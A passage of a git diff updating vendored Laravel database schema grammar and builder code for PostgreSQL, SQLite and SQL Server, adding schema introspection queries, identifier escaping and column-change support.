-294,34 +518,25 @@ public function compileDropAllViews($views) */ public function compileDropAllTypes($types) { - return 'drop type "'.implode('","', $types).'" cascade'; - } - - /** - * Compile the SQL needed to retrieve all table names. - * - * @param string|array $schema - * @return string - */ - public function compileGetAllTables($schema) - { - return "select tablename from pg_catalog.pg_tables where schemaname in ('".implode("','", (array) $schema)."')"; + return 'drop type '.implode(',', $this->escapeNames($types)).' cascade'; } /** - * Compile the SQL needed to retrieve all view names. + * Compile the SQL needed to drop all domains. * - * @param string|array $schema + * @param array $domains * @return string */ - public function compileGetAllViews($schema) + public function compileDropAllDomains($domains) { - return "select viewname from pg_catalog.pg_views where schemaname in ('".implode("','", (array) $schema)."')"; + return 'drop domain '.implode(',', $this->escapeNames($domains)).' cascade'; } /** * Compile the SQL needed to retrieve all type names. * + * @deprecated Will be removed in a future Laravel version. + * * @return string */ public function compileGetAllTypes() @@ -352,7 +567,7 @@ public function compileDropColumn(Blueprint $blueprint, Fluent $command) */ public function compileDropPrimary(Blueprint $blueprint, Fluent $command) { - $index = $this->wrap("{$blueprint->getTable()}_pkey"); + $index = $this->wrap("{$blueprint->getPrefix()}{$blueprint->getTable()}_pkey"); return 'alter table '.$this->wrapTable($blueprint)." drop constraint {$index}"; } @@ -479,13 +694,45 @@ public function compileDisableForeignKeyConstraints() */ public function compileComment(Blueprint $blueprint, Fluent $command) { - return sprintf('comment on column %s.%s is %s', + if (! is_null($comment = $command->column->comment) || $command->column->change) { + return sprintf('comment on column %s.%s is %s', + $this->wrapTable($blueprint), + $this->wrap($command->column->name), + is_null($comment) ? 'NULL' : "'".str_replace("'", "''", $comment)."'" + ); + } + } + + /** + * Compile a table comment command. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @return string + */ + public function compileTableComment(Blueprint $blueprint, Fluent $command) + { + return sprintf('comment on table %s is %s', $this->wrapTable($blueprint), - $this->wrap($command->column->name), - "'".str_replace("'", "''", $command->value)."'" + "'".str_replace("'", "''", $command->comment)."'" ); } + /** + * Quote-escape the given tables, views, or types. + * + * @param array $names + * @return array + */ + public function escapeNames($names) + { + return array_map(static function ($name) { + return '"'.collect(explode('.', $name)) + ->map(fn ($segment) => trim($segment, '\'"')) + ->implode('"."').'"'; + }, $names); + } + /** * Create the column definition for a char type. * @@ -494,7 +741,11 @@ public function compileComment(Blueprint $blueprint, Fluent $command) */ protected function typeChar(Fluent $column) { - return "char({$column->length})"; + if ($column->length) { + return "char({$column->length})"; + } + + return 'char'; } /** @@ -505,7 +756,11 @@ protected function typeChar(Fluent $column) */ protected function typeString(Fluent $column) { - return "varchar({$column->length})"; + if ($column->length) { + return "varchar({$column->length})"; + } + + return 'varchar'; } /** @@ -560,7 +815,7 @@ protected function typeLongText(Fluent $column) */ protected function typeInteger(Fluent $column) { - return $this->generatableColumn('integer', $column); + return $column->autoIncrement && is_null($column->generatedAs) ? 'serial' : 'integer'; } /** @@ -571,7 +826,7 @@ protected function typeInteger(Fluent $column) */ protected function typeBigInteger(Fluent $column) { - return $this->generatableColumn('bigint', $column); + return $column->autoIncrement && is_null($column->generatedAs) ? 'bigserial' : 'bigint'; } /** @@ -582,7 +837,7 @@ protected function typeBigInteger(Fluent $column) */ protected function typeMediumInteger(Fluent $column) { - return $this->generatableColumn('integer', $column); + return $this->typeInteger($column); } /** @@ -593,7 +848,7 @@ protected function typeMediumInteger(Fluent $column) */ protected function typeTinyInteger(Fluent $column) { - return $this->generatableColumn('smallint', $column); + return $this->typeSmallInteger($column); } /** @@ -604,42 +859,7 @@ protected function typeTinyInteger(Fluent $column) */ protected function typeSmallInteger(Fluent $column) { - return $this->generatableColumn('smallint', $column); - } - - /** - * Create the column definition for a generatable column. - * - * @param string $type - * @param \Illuminate\Support\Fluent $column - * @return string - */ - protected function generatableColumn($type, Fluent $column) - { - if (! $column->autoIncrement && is_null($column->generatedAs)) { - return $type; - } - - if ($column->autoIncrement && is_null($column->generatedAs)) { - return with([ - 'integer' => 'serial', - 'bigint' => 'bigserial', - 'smallint' => 'smallserial', - ])[$type]; - } - - $options = ''; - - if (! is_bool($column->generatedAs) && ! empty($column->generatedAs)) { - $options = sprintf(' (%s)', $column->generatedAs); - } - - return sprintf( - '%s generated %s as identity%s', - $type, - $column->always ? 'always' : 'by default', - $options - ); + return $column->autoIncrement && is_null($column->generatedAs) ? 'smallserial' : 'smallint'; } /** @@ -797,9 +1017,11 @@ protected function typeTimeTz(Fluent $column) */ protected function typeTimestamp(Fluent $column) { - $columnType = 'timestamp'.(is_null($column->precision) ? '' : "($column->precision)").' without time zone'; + if ($column->useCurrent) { + $column->default(new Expression('CURRENT_TIMESTAMP')); + } - return $column->useCurrent ? "$columnType default CURRENT_TIMESTAMP" : $columnType; + return 'timestamp'.(is_null($column->precision) ? '' : "($column->precision)").' without time zone'; } /** @@ -810,9 +1032,11 @@ protected function typeTimestamp(Fluent $column) */ protected function typeTimestampTz(Fluent $column) { - $columnType = 'timestamp'.(is_null($column->precision) ? '' : "($column->precision)").' with time zone'; + if ($column->useCurrent) { + $column->default(new Expression('CURRENT_TIMESTAMP')); + } - return $column->useCurrent ? "$columnType default CURRENT_TIMESTAMP" : $columnType; + return 'timestamp'.(is_null($column->precision) ? '' : "($column->precision)").' with time zone'; } /** @@ -1012,6 +1236,10 @@ protected function modifyCollate(Blueprint $blueprint, Fluent $column) */ protected function modifyNullable(Blueprint $blueprint, Fluent $column) { + if ($column->change) { + return $column->nullable ? 'drop not null' : 'set not null'; + } + return $column->nullable ? ' null' : ' not null'; } @@ -1024,6 +1252,10 @@ protected function modifyNullable(Blueprint $blueprint, Fluent $column) */ protected function modifyDefault(Blueprint $blueprint, Fluent $column) { + if ($column->change) { + return is_null($column->default) ? 'drop default' : 'set default '.$this->getDefaultValue($column->default); + } + if (! is_null($column->default)) { return ' default '.$this->getDefaultValue($column->default); } @@ -1038,7 +1270,9 @@ protected function modifyDefault(Blueprint $blueprint, Fluent $column) */ protected function modifyIncrement(Blueprint $blueprint, Fluent $column) { - if ((in_array($column->type, $this->serials) || ($column->generatedAs !== null)) && $column->autoIncrement) { + if (! $column->change + && (in_array($column->type, $this->serials) || ($column->generatedAs !== null)) + && $column->autoIncrement) { return ' primary key'; } } @@ -1052,8 +1286,18 @@ protected function modifyIncrement(Blueprint $blueprint, Fluent $column) */ protected function modifyVirtualAs(Blueprint $blueprint, Fluent $column) { - if ($column->virtualAs !== null) { - return " generated always as ({$column->virtualAs})"; + if ($column->change) { + if (array_key_exists('virtualAs', $column->getAttributes())) { + return is_null($column->virtualAs) + ? 'drop expression if exists' + : throw new LogicException('This database driver does not support modifying generated columns.'); + } + + return null; + } + + if (! is_null($column->virtualAs)) { + return " generated always as ({$this->getValue($column->virtualAs)})"; } } @@ -1066,8 +1310,50 @@ protected function modifyVirtualAs(Blueprint $blueprint, Fluent $column) */ protected function modifyStoredAs(Blueprint $blueprint, Fluent $column) { - if ($column->storedAs !== null) { - return " generated always as ({$column->storedAs}) stored"; + if ($column->change) { + if (array_key_exists('storedAs', $column->getAttributes())) { + return is_null($column->storedAs) + ? 'drop expression if exists' + : throw new LogicException('This database driver does not support modifying generated columns.'); + } + + return null; + } + + if (! is_null($column->storedAs)) { + return " generated always as ({$this->getValue($column->storedAs)}) stored"; + } + } + + /** + * Get the SQL for an identity column modifier. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $column + * @return string|array|null + */ + protected function modifyGeneratedAs(Blueprint $blueprint, Fluent $column) + { + $sql = null; + + if (! is_null($column->generatedAs)) { + $sql = sprintf( + ' generated %s as identity%s', + $column->always ? 'always' : 'by default', + ! is_bool($column->generatedAs) && ! empty($column->generatedAs) ? " ({$column->generatedAs})" : '' + ); } + + if ($column->change) { + $changes = ['drop identity if exists']; + + if (! is_null($sql)) { + $changes[] = 'add '.$sql; + } + + return $changes; + } + + return $sql; } } diff --git a/vendor/illuminate/database/Schema/Grammars/RenameColumn.php b/vendor/illuminate/database/Schema/Grammars/RenameColumn.php index 0db0c507e..a10e72b2f 100644 --- a/vendor/illuminate/database/Schema/Grammars/RenameColumn.php +++ b/vendor/illuminate/database/Schema/Grammars/RenameColumn.php @@ -23,7 +23,7 @@ class RenameColumn public static function compile(Grammar $grammar, Blueprint $blueprint, Fluent $command, Connection $connection) { $schema = $connection->getDoctrineSchemaManager(); - $databasePlatform = $schema->getDatabasePlatform(); + $databasePlatform = $connection->getDoctrineConnection()->getDatabasePlatform(); $databasePlatform->registerDoctrineTypeMapping('enum', 'string'); $column = $connection->getDoctrineColumn( diff --git a/vendor/illuminate/database/Schema/Grammars/SQLiteGrammar.php b/vendor/illuminate/database/Schema/Grammars/SQLiteGrammar.php index e699ee68b..201121cb6 100644 --- a/vendor/illuminate/database/Schema/Grammars/SQLiteGrammar.php +++ b/vendor/illuminate/database/Schema/Grammars/SQLiteGrammar.php @@ -4,6 +4,7 @@ use Doctrine\DBAL\Schema\Index; use Illuminate\Database\Connection; +use Illuminate\Database\Query\Expression; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Arr; use Illuminate\Support\Fluent; @@ -16,7 +17,7 @@ class SQLiteGrammar extends Grammar * * @var string[] */ - protected $modifiers = ['VirtualAs', 'StoredAs', 'Nullable', 'Default', 'Increment']; + protected $modifiers = ['Increment', 'Nullable', 'Default', 'VirtualAs', 'StoredAs']; /** * The columns available as serials. @@ -28,6 +29,8 @@ class SQLiteGrammar extends Grammar /** * Compile the query to determine if a table exists. * + * @deprecated Will be removed in a future Laravel version. + * * @return string */ public function compileTableExists() @@ -35,9 +38,72 @@ public function compileTableExists() return "select * from sqlite_master where type = 'table' and name = ?"; } + /** + * Compile the query to determine if the dbstat table is available. + * + * @return string + */ + public function compileDbstatExists() + { + return "select exists (select 1 from pragma_compile_options where compile_options = 'ENABLE_DBSTAT_VTAB') as enabled"; + } + + /** + * Compile the query to determine the tables. + * + * @param bool $withSize + * @return string + */ + public function compileTables($withSize = false) + { + return $withSize + ? 'select m.tbl_name as name, sum(s.pgsize) as size from sqlite_master as m ' + .'join dbstat as s on s.name = m.name ' + ."where m.type in ('table', 'index') and m.tbl_name not like 'sqlite_%' " + .'group by m.tbl_name ' + .'order by m.tbl_name' + : "select name from sqlite_master where type = 'table' and name not like 'sqlite_%' order by name"; + } + + /** + * Compile the query to determine the views. + * + * @return string + */ + public function compileViews() + { + return "select name, sql as definition from sqlite_master where type = 'view' order by name"; + } + + /** + * Compile the SQL needed to retrieve all table names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return string + */ + public function compileGetAllTables() + { + return 'select type, name from sqlite_master where type = \'table\' and name not like \'sqlite_%\''; + } + + /** + * Compile the SQL needed to retrieve all view names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return string + */ + public function compileGetAllViews() + { + return 'select type, name from sqlite_master where type = \'view\''; + } + /** * Compile the query to determine the list of columns. * + * @deprecated Will be removed in a future Laravel version. + * * @param string $table * @return string */ @@ -46,6 +112,57 @@ public function compileColumnListing($table) return 'pragma table_info('.$this->wrap(str_replace('.', '__', $table)).')'; } + /** + * Compile the query to determine the columns. + * + * @param string $table + * @return string + */ + public function compileColumns($table) + { + return sprintf( + 'select name, type, not "notnull" as "nullable", dflt_value as "default", pk as "primary" ' + .'from pragma_table_info(%s) order by cid asc', + $this->wrap(str_replace('.', '__', $table)) + ); + } + + /** + * Compile the query to determine the indexes. + * + * @param string $table + * @return string + */ + public function compileIndexes($table) + { + return sprintf( + 'select "primary" as name, group_concat(col) as columns, 1 as "unique", 1 as "primary" ' + .'from (select name as col from pragma_table_info(%s) where pk > 0 order by pk, cid) group by name ' + .'union select name, group_concat(col) as columns, "unique", origin = "pk" as "primary" ' + .'from (select il.*, ii.name as col from pragma_index_list(%s) il, pragma_index_info(il.name) ii order by il.seq, ii.seqno) ' + .'group by name, "unique", "primary"', + $table = $this->wrap(str_replace('.', '__', $table)), + $table + ); + } + + /** + * Compile the query to determine the foreign keys. + * + * @param string $table + * @return string + */ + public function compileForeignKeys($table) + { + return sprintf( + 'select group_concat("from") as columns, "table" as foreign_table, ' + .'group_concat("to") as foreign_columns, on_update, on_delete ' + .'from (select * from pragma_foreign_key_list(%s) order by id desc, seq) ' + .'group by id, "table", on_update, on_delete', + $this->wrap(str_replace('.', '__', $table)) + ); + } + /** * Compile a create table command. * @@ -144,6 +261,25 @@ public function compileAdd(Blueprint $blueprint, Fluent $command) })->all(); } + /** + * Compile a rename column command. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string + */ + public function compileRenameColumn(Blueprint $blueprint, Fluent $command, Connection $connection) + { + return $connection->usingNativeSchemaOperations() + ? sprintf('alter table %s rename column %s to %s', + $this->wrapTable($blueprint), + $this->wrap($command->from), + $this->wrap($command->to) + ) + : parent::compileRenameColumn($blueprint, $command, $connection); + } + /** * Compile a unique key command. * @@ -195,7 +331,7 @@ public function compileSpatialIndex(Blueprint $blueprint, Fluent $command) * * @param \Illuminate\Database\Schema\Blueprint $blueprint * @param \Illuminate\Support\Fluent $command - * @return string + * @return string|null */ public function compileForeign(Blueprint $blueprint, Fluent $command) { @@ -266,17 +402,26 @@ public function compileRebuild() */ public function compileDropColumn(Blueprint $blueprint, Fluent $command, Connection $connection) { - $tableDiff = $this->getDoctrineTableDiff( - $blueprint, $schema = $connection->getDoctrineSchemaManager() - ); + if ($connection->usingNativeSchemaOperations()) { + $table = $this->wrapTable($blueprint); + + $columns = $this->prefixArray('drop column', $this->wrapArray($command->columns)); - foreach ($command->columns as $name) { - $tableDiff->removedColumns[$name] = $connection->getDoctrineColumn( - $this->getTablePrefix().$blueprint->getTable(), $name + return collect($columns)->map(fn ($column) => 'alter table '.$table.' '.$column + )->all(); + } else { + $tableDiff = $this->getDoctrineTableDiff( + $blueprint, $schema = $connection->getDoctrineSchemaManager() ); - } - return (array) $schema->getDatabasePlatform()->getAlterTableSQL($tableDiff); + foreach ($command->columns as $name) { + $tableDiff->removedColumns[$name] = $connection->getDoctrineColumn( + $this->getTablePrefix().$blueprint->getTable(), $name + ); + } + + return (array) $schema->getDatabasePlatform()->getAlterTableSQL($tableDiff); + } } /** @@ -362,7 +507,7 @@ public function compileRenameIndex(Blueprint $blueprint, Fluent $command, Connec $index->isPrimary(), $index->getFlags(), $index->getOptions() ); - $platform = $schemaManager->getDatabasePlatform(); + $platform = $connection->getDoctrineConnection()->getDatabasePlatform(); return [ $platform->getDropIndexSQL($command->from, $this->getTablePrefix().$blueprint->getTable()), @@ -679,7 +824,11 @@ protected function typeTimeTz(Fluent $column) */ protected function typeTimestamp(Fluent $column) { - return $column->useCurrent ? 'datetime default CURRENT_TIMESTAMP' : 'datetime'; + if ($column->useCurrent) { + $column->default(new Expression('CURRENT_TIMESTAMP')); + } + + return 'datetime'; } /** @@ -858,8 +1007,16 @@ protected function typeComputed(Fluent $column) */ protected function modifyVirtualAs(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->virtualAs)) { - return " as ({$column->virtualAs})"; + if (! is_null($virtualAs = $column->virtualAsJson)) { + if ($this->isJsonSelector($virtualAs)) { + $virtualAs = $this->wrapJsonSelector($virtualAs); + } + + return " as ({$virtualAs})"; + } + + if (! is_null($virtualAs = $column->virtualAs)) { + return " as ({$this->getValue($virtualAs)})"; } } @@ -872,8 +1029,16 @@ protected function modifyVirtualAs(Blueprint $blueprint, Fluent $column) */ protected function modifyStoredAs(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->storedAs)) { - return " as ({$column->storedAs}) stored"; + if (! is_null($storedAs = $column->storedAsJson)) { + if ($this->isJsonSelector($storedAs)) { + $storedAs = $this->wrapJsonSelector($storedAs); + } + + return " as ({$storedAs}) stored"; + } + + if (! is_null($storedAs = $column->storedAs)) { + return " as ({$this->getValue($column->storedAs)}) stored"; } } @@ -886,7 +1051,10 @@ protected function modifyStoredAs(Blueprint $blueprint, Fluent $column) */ protected function modifyNullable(Blueprint $blueprint, Fluent $column) { - if (is_null($column->virtualAs) && is_null($column->storedAs)) { + if (is_null($column->virtualAs) && + is_null($column->virtualAsJson) && + is_null($column->storedAs) && + is_null($column->storedAsJson)) { return $column->nullable ? '' : ' not null'; } @@ -904,7 +1072,7 @@ protected function modifyNullable(Blueprint $blueprint, Fluent $column) */ protected function modifyDefault(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->default) && is_null($column->virtualAs) && is_null($column->storedAs)) { + if (! is_null($column->default) && is_null($column->virtualAs) && is_null($column->virtualAsJson) && is_null($column->storedAs)) { return ' default '.$this->getDefaultValue($column->default); } } @@ -922,4 +1090,17 @@ protected function modifyIncrement(Blueprint $blueprint, Fluent $column) return ' primary key autoincrement'; } } + + /** + * Wrap the given JSON selector. + * + * @param string $value + * @return string + */ + protected function wrapJsonSelector($value) + { + [$field, $path] = $this->wrapJsonFieldAndPath($value); + + return 'json_extract('.$field.$path.')'; + } } diff --git a/vendor/illuminate/database/Schema/Grammars/SqlServerGrammar.php b/vendor/illuminate/database/Schema/Grammars/SqlServerGrammar.php index e594cfd99..5af6631be 100644 --- a/vendor/illuminate/database/Schema/Grammars/SqlServerGrammar.php +++ b/vendor/illuminate/database/Schema/Grammars/SqlServerGrammar.php @@ -2,6 +2,8 @@ namespace Illuminate\Database\Schema\Grammars; +use Illuminate\Database\Connection; +use Illuminate\Database\Query\Expression; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Fluent; @@ -19,7 +21,7 @@ class SqlServerGrammar extends Grammar * * @var string[] */ - protected $modifiers = ['Increment', 'Collate', 'Nullable', 'Default', 'Persisted']; + protected $modifiers = ['Collate', 'Nullable', 'Default', 'Persisted', 'Increment']; /** * The columns available as serials. @@ -28,6 +30,13 @@ class SqlServerGrammar extends Grammar */ protected $serials = ['tinyInteger', 'smallInteger', 'mediumInteger', 'integer', 'bigInteger']; + /** + * The commands to be executed outside of create or alter command. + * + * @var string[] + */ + protected $fluentCommands = ['Default']; + /** * Compile a create database command. * @@ -60,6 +69,8 @@ public function compileDropDatabaseIfExists($name) /** * Compile the query to determine if a table exists. * + * @deprecated Will be removed in a future Laravel version. + * * @return string */ public function compileTableExists() @@ -67,9 +78,62 @@ public function compileTableExists() return "select * from sys.sysobjects where id = object_id(?) and xtype in ('U', 'V')"; } + /** + * Compile the query to determine the tables. + * + * @return string + */ + public function compileTables() + { + return 'select t.name as name, SCHEMA_NAME(t.schema_id) as [schema], sum(u.total_pages) * 8 * 1024 as size ' + .'from sys.tables as t ' + .'join sys.partitions as p on p.object_id = t.object_id ' + .'join sys.allocation_units as u on u.container_id = p.hobt_id ' + .'group by t.name, t.schema_id ' + .'order by t.name'; + } + + /** + * Compile the query to determine the views. + * + * @return string + */ + public function compileViews() + { + return 'select name, SCHEMA_NAME(v.schema_id) as [schema], definition from sys.views as v ' + .'inner join sys.sql_modules as m on v.object_id = m.object_id ' + .'order by name'; + } + + /** + * Compile the SQL needed to retrieve all table names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return string + */ + public function compileGetAllTables() + { + return "select name, type from sys.tables where type = 'U'"; + } + + /** + * Compile the SQL needed to retrieve all view names. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return string + */ + public function compileGetAllViews() + { + return "select name, type from sys.objects where type = 'V'"; + } + /** * Compile the query to determine the list of columns. * + * @deprecated Will be removed in a future Laravel version. + * * @param string $table * @return string */ @@ -78,6 +142,83 @@ public function compileColumnListing($table) return "select name from sys.columns where object_id = object_id('$table')"; } + /** + * Compile the query to determine the columns. + * + * @param string $table + * @return string + */ + public function compileColumns($table) + { + return sprintf( + 'select col.name, type.name as type_name, ' + .'col.max_length as length, col.precision as precision, col.scale as places, ' + .'col.is_nullable as nullable, def.definition as [default], ' + .'col.is_identity as autoincrement, col.collation_name as collation, ' + .'cast(prop.value as nvarchar(max)) as comment ' + .'from sys.columns as col ' + .'join sys.types as type on col.user_type_id = type.user_type_id ' + .'join sys.objects as obj on col.object_id = obj.object_id ' + .'join sys.schemas as scm on obj.schema_id = scm.schema_id ' + .'left join sys.default_constraints def on col.default_object_id = def.object_id and col.object_id = def.parent_object_id ' + ."left join sys.extended_properties as prop on obj.object_id = prop.major_id and col.column_id = prop.minor_id and prop.name = 'MS_Description' " + ."where obj.type in ('U', 'V') and obj.name = %s and scm.name = SCHEMA_NAME() " + .'order by col.column_id', + $this->quoteString($table), + ); + } + + /** + * Compile the query to determine the indexes. + * + * @param string $table + * @return string + */ + public function compileIndexes($table) + { + return sprintf( + "select idx.name as name, string_agg(col.name, ',') within group (order by idxcol.key_ordinal) as columns, " + .'idx.type_desc as [type], idx.is_unique as [unique], idx.is_primary_key as [primary] ' + .'from sys.indexes as idx ' + .'join sys.tables as tbl on idx.object_id = tbl.object_id ' + .'join sys.schemas as scm on tbl.schema_id = scm.schema_id ' + .'join sys.index_columns as idxcol on idx.object_id = idxcol.object_id and idx.index_id = idxcol.index_id ' + .'join sys.columns as col on idxcol.object_id = col.object_id and idxcol.column_id = col.column_id ' + .'where tbl.name = %s and scm.name = SCHEMA_NAME() ' + .'group by idx.name, idx.type_desc, idx.is_unique, idx.is_primary_key', + $this->quoteString($table), + ); + } + + /** + * Compile the query to determine the foreign keys. + * + * @param string $table + * @return string + */ + public function compileForeignKeys($table) + { + return sprintf( + 'select fk.name as name, ' + ."string_agg(lc.name, ',') within group (order by fkc.constraint_column_id) as columns, " + .'fs.name as foreign_schema, ft.name as foreign_table, ' + ."string_agg(fc.name, ',') within group (order by fkc.constraint_column_id) as foreign_columns, " + .'fk.update_referential_action_desc as on_update, ' + .'fk.delete_referential_action_desc as on_delete ' + .'from sys.foreign_keys as fk ' + .'join sys.foreign_key_columns as fkc on fkc.constraint_object_id = fk.object_id ' + .'join sys.tables as lt on lt.object_id = fk.parent_object_id ' + .'join sys.schemas as ls on lt.schema_id = ls.schema_id ' + .'join sys.columns as lc on fkc.parent_object_id = lc.object_id and fkc.parent_column_id = lc.column_id ' + .'join sys.tables as ft on ft.object_id = fk.referenced_object_id ' + .'join sys.schemas as fs on ft.schema_id = fs.schema_id ' + .'join sys.columns as fc on fkc.referenced_object_id = fc.object_id and fkc.referenced_column_id = fc.column_id ' + .'where lt.name = %s and ls.name = SCHEMA_NAME() ' + .'group by fk.name, fs.name, ft.name, fk.update_referential_action_desc, fk.delete_referential_action_desc', + $this->quoteString($table) + ); + } + /** * Compile a create table command. * @@ -107,6 +248,61 @@ public function compileAdd(Blueprint $blueprint, Fluent $command) ); } + /** + * Compile a rename column command. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string + */ + public function compileRenameColumn(Blueprint $blueprint, Fluent $command, Connection $connection) + { + return $connection->usingNativeSchemaOperations() + ? sprintf("sp_rename '%s', %s, 'COLUMN'", + $this->wrap($blueprint->getTable().'.'.$command->from), + $this->wrap($command->to) + ) + : parent::compileRenameColumn($blueprint, $command, $connection); + } + + /** + * Compile a change column command into a series of SQL statements. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @param \Illuminate\Database\Connection $connection + * @return array|string + * + * @throws \RuntimeException + */ + public function compileChange(Blueprint $blueprint, Fluent $command, Connection $connection) + { + if (! $connection->usingNativeSchemaOperations()) { + return parent::compileChange($blueprint, $command, $connection); + } + + $changes = [$this->compileDropDefaultConstraint($blueprint, $command)]; + + foreach ($blueprint->getChangedColumns() as $column) { + $sql = sprintf('alter table %s alter column %s %s', + $this->wrapTable($blueprint), + $this->wrap($column), + $this->getType($column) + ); + + foreach ($this->modifiers as $modifier) { + if (method_exists($this, $method = "modify{$modifier}")) { + $sql .= $this->{$method}($blueprint, $column); + } + } + + $changes[] = $sql; + } + + return $changes; + } + /** * Compile a primary key command. * @@ -171,6 +367,24 @@ public function compileSpatialIndex(Blueprint $blueprint, Fluent $command) ); } + /** + * Compile a default command. + * + * @param \Illuminate\Database\Schema\Blueprint $blueprint + * @param \Illuminate\Support\Fluent $command + * @return string|null + */ + public function compileDefault(Blueprint $blueprint, Fluent $command) + { + if ($command->column->change && ! is_null($command->column->default)) { + return sprintf('alter table %s add default %s for %s', + $this->wrapTable($blueprint), + $this->getDefaultValue($command->column->default), + $this->wrap($command->column) + ); + } + } + /** * Compile a drop table command. * @@ -233,7 +447,9 @@ public function compileDropColumn(Blueprint $blueprint, Fluent $command) */ public function compileDropDefaultConstraint(Blueprint $blueprint, Fluent $command) { - $columns = "'".implode("','", $command->columns)."'"; + $columns = $command->name === 'change' + ? "'".collect($blueprint->getChangedColumns())->pluck('name')->implode("','")."'" + : "'".implode("','", $command->columns)."'"; $tableName = $this->getTablePrefix().$blueprint->getTable(); @@ -658,9 +874,11 @@ protected function typeTimeTz(Fluent $column) */ protected function typeTimestamp(Fluent $column) { - $columnType = $column->precision ? "datetime2($column->precision)" : 'datetime'; + if ($column->useCurrent) { + $column->default(new Expression('CURRENT_TIMESTAMP')); + } - return $column->useCurrent ? "$columnType default CURRENT_TIMESTAMP" : $columnType; + return $column->precision ? "datetime2($column->precision)" : 'datetime'; } /** @@ -673,9 +891,11 @@ protected function typeTimestamp(Fluent $column) */ protected function typeTimestampTz(Fluent $column) { - $columnType = $column->precision ? "datetimeoffset($column->precision)" : 'datetimeoffset'; + if ($column->useCurrent) { + $column->default(new Expression('CURRENT_TIMESTAMP')); + } - return $column->useCurrent ? "$columnType default CURRENT_TIMESTAMP" : $columnType; + return $column->precision ? "datetimeoffset($column->precision)" : 'datetimeoffset'; } /** @@ -829,7 +1049,7 @@ public function typeMultiPolygon(Fluent $column) */ protected function typeComputed(Fluent $column) { - return "as ({$column->expression})"; + return "as ({$this->getValue($column->expression)})"; } /** @@ -869,7 +1089,7 @@ protected function modifyNullable(Blueprint $blueprint, Fluent $column) */ protected function modifyDefault(Blueprint $blueprint, Fluent $column) { - if (! is_null($column->default)) { + if (! $column->change && ! is_null($column->default)) { return ' default '.$this->getDefaultValue($column->default); } } @@ -883,7 +1103,7 @@ protected function modifyDefault(Blueprint $blueprint, Fluent $column) */ protected function modifyIncrement(Blueprint $blueprint, Fluent $column) { - if (in_array($column->type, $this->serials) && $column->autoIncrement) { + if (! $column->change && in_array($column->type, $this->serials) && $column->autoIncrement) { return ' identity primary key'; } } @@ -897,6 +1117,14 @@ protected function modifyIncrement(Blueprint $blueprint, Fluent $column) */ protected function modifyPersisted(Blueprint $blueprint, Fluent $column) { + if ($column->change) { + if ($column->type === 'computed') { + return $column->persisted ? ' add persisted' : ' drop persisted'; + } + + return null; + } + if ($column->persisted) { return ' persisted'; } @@ -905,7 +1133,7 @@ protected function modifyPersisted(Blueprint $blueprint, Fluent $column) /** * Wrap a table in keyword identifiers. * - * @param \Illuminate\Database\Query\Expression|string $table + * @param \Illuminate\Database\Schema\Blueprint|\Illuminate\Contracts\Database\Query\Expression|string $table * @return string */ public function wrapTable($table) diff --git a/vendor/illuminate/database/Schema/IndexDefinition.php b/vendor/illuminate/database/Schema/IndexDefinition.php new file mode 100644 index 000000000..fc5d78e5b --- /dev/null +++ b/vendor/illuminate/database/Schema/IndexDefinition.php @@ -0,0 +1,16 @@ +connection->getPostProcessor()->processTables( + $this->connection->selectFromWriteConnection( + $this->grammar->compileTables($this->connection->getDatabaseName()) + ) + ); + } + + /** + * Get the views for the database. + * + * @return array + */ + public function getViews() + { + return $this->connection->getPostProcessor()->processViews( + $this->connection->selectFromWriteConnection( + $this->grammar->compileViews($this->connection->getDatabaseName()) + ) + ); + } + + /** + * Get all of the table names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllTables() + { + return $this->connection->select( + $this->grammar->compileGetAllTables() + ); + } + + /** + * Get all of the view names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllViews() + { + return $this->connection->select( + $this->grammar->compileGetAllViews() + ); + } + + /** + * Get the columns for a given table. * * @param string $table - * @return bool + * @return array */ - public function hasTable($table) + public function getColumns($table) { $table = $this->connection->getTablePrefix().$table; - return count($this->connection->select( - $this->grammar->compileTableExists(), [$this->connection->getDatabaseName(), $table] - )) > 0; + $results = $this->connection->selectFromWriteConnection( + $this->grammar->compileColumns($this->connection->getDatabaseName(), $table) + ); + + return $this->connection->getPostProcessor()->processColumns($results); } /** - * Get the column listing for a given table. + * Get the indexes for a given table. * * @param string $table * @return array */ - public function getColumnListing($table) + public function getIndexes($table) { $table = $this->connection->getTablePrefix().$table; - $results = $this->connection->select( - $this->grammar->compileColumnListing(), [$this->connection->getDatabaseName(), $table] + return $this->connection->getPostProcessor()->processIndexes( + $this->connection->selectFromWriteConnection( + $this->grammar->compileIndexes($this->connection->getDatabaseName(), $table) + ) ); + } + + /** + * Get the foreign keys for a given table. + * + * @param string $table + * @return array + */ + public function getForeignKeys($table) + { + $table = $this->connection->getTablePrefix().$table; - return $this->connection->getPostProcessor()->processColumnListing($results); + return $this->connection->getPostProcessor()->processForeignKeys( + $this->connection->selectFromWriteConnection( + $this->grammar->compileForeignKeys($this->connection->getDatabaseName(), $table) + ) + ); } /** @@ -69,13 +144,7 @@ public function getColumnListing($table) */ public function dropAllTables() { - $tables = []; - - foreach ($this->getAllTables() as $row) { - $row = (array) $row; - - $tables[] = reset($row); - } + $tables = array_column($this->getTables(), 'name'); if (empty($tables)) { return; @@ -97,13 +166,7 @@ public function dropAllTables() */ public function dropAllViews() { - $views = []; - - foreach ($this->getAllViews() as $row) { - $row = (array) $row; - - $views[] = reset($row); - } + $views = array_column($this->getViews(), 'name'); if (empty($views)) { return; @@ -113,28 +176,4 @@ 